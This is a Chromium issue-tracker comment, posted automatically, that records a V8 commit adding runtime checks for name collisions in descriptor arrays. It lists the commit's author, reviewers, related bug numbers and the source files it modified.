[Comment 38](#) by [Git Watcher](#) on Fri, Aug 5, 2022, 2:07 PM EDT Project Member

The following revision refers to this bug:

<https://chromium.googlesource.com/v8/v8/+3c7f274770e90b766ed554a6ca599e70341c9735>

commit [3c7f274770e90b766ed554a6ca599e70341c9735](#)

Author: Brendon Tiszka <tiszka@chromium.org>

Date: Thu Aug 04 18:46:33 2022

[runtime] Add runtime checks for name collisions

~~Bug- chromium:1216437,chromium:1219630,chromium:1309225~~

~~Bug- chromium:1311641,chromium:1314616~~

Change-Id: I1575edbdd7fe91ed970ffe2f3437fd7c514e1ebd

Reviewed-on: <https://chromium-review.googlesource.com/c/v8/v8/+3794525>

Reviewed-by: Samuel Groß <saelo@chromium.org>

Reviewed-by: Igor Sheludko <ishell@chromium.org>

Commit-Queue: Brendon Tiszka <tiszka@chromium.org>

Cr-Commit-Position: refs/heads/main@{#82235}

[modify] <https://crrev.com/3c7f274770e90b766ed554a6ca599e70341c9735/test/unittests/objects/object-unittest.cc>

[modify] <https://crrev.com/3c7f274770e90b766ed554a6ca599e70341c9735/src/objects/descriptor-array.h>

[modify] <https://crrev.com/3c7f274770e90b766ed554a6ca599e70341c9735/src/objects/descriptor-array-inl.h>

[modify] <https://crrev.com/3c7f274770e90b766ed554a6ca599e70341c9735/src/objects/objects.cc>

[modify] <https://crrev.com/3c7f274770e90b766ed554a6ca599e70341c9735/src/objects/objects.h>